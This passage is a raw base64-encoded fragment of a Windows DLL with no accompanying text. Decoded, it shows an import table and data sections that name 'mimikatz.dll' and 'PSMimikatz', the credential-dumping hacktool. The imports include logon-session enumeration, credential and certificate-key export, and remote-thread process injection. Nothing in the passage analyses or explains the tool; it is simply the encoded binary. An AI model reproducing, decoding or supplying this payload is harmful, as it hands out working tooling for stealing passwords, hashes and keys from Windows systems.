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ETEwAsQBDcnlwdEFjcXVpcmVDb250ZXh0VwAAywBDcnlwdFJlbGVhc2VDb250ZXh0AMoAQ3J5cHRJbXBvcnRLZXkAALcAQ3J5cHREZXN0cm95S2V5ALQAQ3J5cHREZWNyeXB0AAC/AENyeXB0RXhwb3J0S2V5AAC+AENyeXB0RW51bVByb3ZpZGVyc1cAxgBDcnlwdEdldFByb3ZQYXJhbQDEAENyeXB0R2V0SGFzaFBhcmFtALMAQ3J5cHRDcmVhdGVIYXNoALYAQ3J5cHREZXN0cm95SGFzaAAAyABDcnlwdEhhc2hEYXRhAJUBTG9va3VwUHJpdmlsZWdlTmFtZVcAAPcBT3BlblByb2Nlc3NUb2tlbgAAWgFHZXRUb2tlbkluZm9ybWF0aW9uAJcBTG9va3VwUHJpdmlsZWdlVmFsdWVXAB8AQWRqdXN0VG9rZW5Qcml2aWxlZ2VzAH0AQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcAvwJTZXRTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAAEMAQnVpbGRTZWN1cml0eURlc2NyaXB0b3JXAAAnAlF1ZXJ5U2VydmljZU9iamVjdFNlY3VyaXR5AACRAUxvb2t1cEFjY291bnRTaWRXAN8ARHVwbGljYXRlVG9rZW5FeAAArQJTZXRLZXJuZWxPYmplY3RTZWN1cml0eQAgAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAAIAFGcmVlU2lkAGwAQ29udmVydFNpZFRvU3RyaW5nU2lkVwAAVwBDbG9zZVNlcnZpY2VIYW5kbGUAANoARGVsZXRlU2VydmljZQD5AU9wZW5TQ01hbmFnZXJXAAD7AU9wZW5TZXJ2aWNlVwAAyQJTdGFydFNlcnZpY2VXAFwAQ29udHJvbFNlcnZpY2UAAAEBRW51bVNlcnZpY2VzU3RhdHVzRXhXAIABSXNUZXh0VW5pY29kZQDFAENyeXB0R2V0S2V5UGFyYW0AAMcAQ3J5cHRHZXRVc2VyS2V5AIwAQ3JlZEZyZWUAAIkAQ3JlZEVudW1lcmF0ZVcAAC0CUmVhZEVuY3J5cHRlZEZpbGVSYXcAAFUAQ2xvc2VFbmNyeXB0ZWRGaWxlUmF3AB8CUXVlcnlSZWNvdmVyeUFnZW50c09uRW5jcnlwdGVkRmlsZQAAHgFGcmVlRW5jcnlwdGlvbkNlcnRpZmljYXRlSGFzaExpc3QALAJRdWVyeVVzZXJzT25FbmNyeXB0ZWRGaWxlAPQBT3BlbkVuY3J5cHRlZEZpbGVSYXdXAHMBSW1wZXJzb25hdGVMb2dnZWRPblVzZXIAbgJSZWdRdWVyeVZhbHVlRXhXAABhAlJlZ09wZW5LZXlFeFcAMAJSZWdDbG9zZUtleQBoAlJlZ1F1ZXJ5SW5mb0tleVcAAE8CUmVnRW51bUtleUV4VwCQAlJldmVydFRvU2VsZgAAgQBDcmVhdGVTZXJ2aWNlVwAAQURWQVBJMzIuZGxsAAA5AlBvc3RUaHJlYWRNZXNzYWdlVwAApAFHZXRXaW5kb3dUaHJlYWRQcm9jZXNzSWQAAPIARW51bVdpbmRvd3MAJgNXYWl0Rm9ySW5wdXRJZGxlAAARA1VwZGF0ZVdpbmRvdwAAvgFJbnZhbGlkYXRlUmVjdAAAVVNFUjMyLmRsbAAAHgBHZXRVc2VyTmFtZUV4VwAAKgBMc2FGcmVlUmV0dXJuQnVmZmVyACsATHNhR2V0TG9nb25TZXNzaW9uRGF0YQAAKQBMc2FFbnVtZXJhdGVMb2dvblNlc3Npb25zAFNlY3VyMzIuZGxsAEsAQ2VydEdldE5hbWVTdHJpbmdXAABXAENlcnRPcGVuU3RvcmUAQABDZXJ0RnJlZUNlcnRpZmljYXRlQ29udGV4dAAABABDZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZQAAEgBDZXJ0Q2xvc2VTdG9yZQAARgBDZXJ0R2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkALwBDZXJ0RW51bVN5c3RlbVN0b3JlABYBUEZYRXhwb3J0Q2VydFN0b3JlRXgAAHoAQ3J5cHRBY3F1aXJlQ2VydGlmaWNhdGVQcml2YXRlS2V5ACwAQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlAENSWVBUMzIuZGxsAGUAUGF0aElzUmVsYXRpdmVXADgAUGF0aENhbm9uaWNhbGl6ZVcAOgBQYXRoQ29tYmluZVcAAFNITFdBUEkuZGxsABsAV1RTT3BlblNlcnZlclcAAAsAV1RTRW51bWVyYXRlUHJvY2Vzc2VzVwAAEgBXVFNGcmVlTWVtb3J5AAAAV1RTQ2xvc2VTZXJ2ZXIAABEAV1RTRW51bWVyYXRlU2Vzc2lvbnNXAFdUU0FQSTMyLmRsbAAABgBDb21tYW5kTGluZVRvQXJndlcAAFNIRUxMMzIuZGxsACUFV3JpdGVGaWxlAI8AQ3JlYXRlRmlsZVcAVwFGbHVzaEZpbGVCdWZmZXJzAAACAkdldExhc3RFcnJvcgAAUgBDbG9zZUhhbmRsZQBiAUZyZWVMaWJyYXJ5AD8DTG9hZExpYnJhcnlXAABzBFNldExhc3RFcnJvcgAARQJHZXRQcm9jQWRkcmVzcwAAGAJHZXRNb2R1bGVIYW5kbGVXAAD5BFdhaXRGb3JTaW5nbGVPYmplY3QAqQBDcmVhdGVSZW1vdGVUaHJlYWQAAIADT3BlblByb2Nlc3MA7QRWaXJ0dWFsRnJlZUV4AOoEVmlydHVhbEFsbG9jRXgAAMABR2V0Q3VycmVudFByb2Nlc3MAwwNSZWFkUHJvY2Vzc01lbW9yeQDwBFZpcnR1YWxQcm90ZWN0RXgAAO8EVmlydHVhbFByb3RlY3QAAC4FV3JpdGVQcm9jZXNzTWVtb3J5AAAlAkdldE5hdGl2ZVN5c3RlbUluZm8AZQBDb25uZWN0TmFtZWRQaXBlAACgAENyZWF0ZU5hbWVkUGlwZVcAAMADUmVhZEZpbGUAAOEARGlzY29ubmVjdE5hbWVkUGlwZQCoAENyZWF0ZVByb2Nlc3NXAAD3AklzQmFkUmVhZFB0cgAAwARUZXJtaW5hdGVQcm9jZXNzAACWA1Byb2Nlc3MzMkZpcnN0VwBbA01vZHVsZTMyRmlyc3RXAACYA1Byb2Nlc3MzMk5leHRXAAC+AENyZWF0ZVRvb2xoZWxwMzJTbmFwc2hvdAAAXQNNb2R1bGUzMk5leHRXAEgDTG9jYWxGcmVlAF4BRm9ybWF0TWVzc2FnZVcAAKQCR2V0VmVyc2lvbkV4VwC/AUdldEN1cnJlbnREaXJlY3RvcnlXAACOAUdldENvbXB1dGVyTmFtZUV4VwAAwwRUaHJlYWQzMkZpcnN0AMEEVGVybWluYXRlVGhyZWFkAMQEVGhyZWFkMzJOZXh0AACFA09wZW5UaHJlYWQAALoEU3VzcGVuZFRocmVhZAATBFJlc3VtZVRocmVhZAAASARTZXRDb25zb2xlVGl0bGVXAACWAENyZWF0ZUpvYk9iamVjdFcAABYAQXNzaWduUHJvY2Vzc1RvSm9iT2JqZWN0AABMAkdldFByb2Nlc3NJZAAA6ABEdXBsaWNhdGVIYW5kbGUAvwRUZXJtaW5hdGVKb2JPYmplY3QAAPIEVmlydHVhbFF1ZXJ5RXgAALIEU2xlZXAAMQRTZXRDb25zb2xlQ3Vyc29yUG9zaXRpb24AAGQCR2V0U3RkSGFuZGxlAAAoAUZpbGxDb25zb2xlT3V0cHV0Q2hhcmFjdGVyVwCyAUdldENvbnNvbGVTY3JlZW5CdWZmZXJJbmZvAAARBVdpZGVDaGFyVG9NdWx0aUJ5dGUA7wJJbnRlcmxvY2tlZEluY3JlbWVudAAA6wJJbnRlcmxvY2tlZERlY3JlbWVudAAA6QJJbnRlcmxvY2tlZENvbXBhcmVFeGNoYW5nZQAA7AJJbnRlcmxvY2tlZEV4Y2hhbmdlAGcDTXVsdGlCeXRlVG9XaWRlQ2hhcgBpAkdldFN0cmluZ1R5cGVXAADqAEVuY29kZVBvaW50ZXIAygBEZWNvZGVQb2ludGVyAOICSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbgDRAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgDuAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA5A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADPAkhlYXBGcmVlAADLAkhlYXBBbGxvYwDSAkhlYXBSZUFsbG9jAMUBR2V0Q3VycmVudFRocmVhZElkAACGAUdldENvbW1hbmRMaW5lQQByAUdldENQSW5mbwCxA1JhaXNlRXhjZXB0aW9uAAAYBFJ0bFVud2luZAAtA0xDTWFwU3RyaW5nVwAA0wRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAKUEU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAADSXNEZWJ1Z2dlclByZXNlbnQABANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AM0CSGVhcENyZWF0ZQAAzgJIZWFwRGVzdHJveQDFBFRsc0FsbG9jAADHBFRsc0dldFZhbHVlAMgEVGxzU2V0VmFsdWUAxgRUbHNGcmVlAOMCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudAAZAUV4aXRQcm9jZXNzABQCR2V0TW9kdWxlRmlsZU5hbWVXAABvBFNldEhhbmRsZUNvdW50AADzAUdldEZpbGVUeXBlAGMCR2V0U3RhcnR1cEluZm9XAGYEU2V0RmlsZVBvaW50ZXIAAGgBR2V0QUNQAAA3AkdldE9FTUNQAAAKA0lzVmFsaWRDb2RlUGFnZQCHBFNldFN0ZEhhbmRsZQAAmwJHZXRVc2VyRGVmYXVsdExDSUQAAAYCR2V0TG9jYWxlSW5mb1cAAAQCR2V0TG9jYWxlSW5mb0EAAA0BRW51bVN5c3RlbUxvY2FsZXNBAAAMA0lzVmFsaWRMb2NhbGUAmgFHZXRDb25zb2xlQ1AAAKwBR2V0Q29uc29sZU1vZGUAANQCSGVhcFNpemUAABMCR2V0TW9kdWxlRmlsZU5hbWVBAABhAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXANoBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAApwNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgCTAkdldFRpY2tDb3VudAAAwQFHZXRDdXJyZW50UHJvY2Vzc0lkAHkCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAJAVXcml0ZUNvbnNvbGVXAFMEU2V0RW5kT2ZGaWxlAABKAkdldFByb2Nlc3NIZWFwAABLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAp10lSAAAAAGzxBAABAAAAAgAAAAIAAABY8QQAYPEEAGjxBADG6gAAg+kAAHnxBACE8QQAAAABAG1pbWlrYXR6LmRsbABQU01pbWlrYXR6AFdTdHJpbmdGdW5jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM5wMQAAAAAC4/QVZlcnJvcl9jYXRlZ29yeUBzdGRAQAAAAAAM5wMQAAAAAC4/QVZfR2VuZXJpY19lcnJvcl9jYXRlZ29yeUBzdGRAQAAAAAznAxAAAAAALj9BVl9Jb3N0cmVhbV9lcnJvcl9jYXRlZ29yeUBzdGRAQAAADOcDEAAAAAAuP0FWX1N5c3RlbV9lcnJvcl9jYXRlZ29yeUBzdGRAQAAAAABI5AMQPOQDEHzkAxBs5AMQoOQ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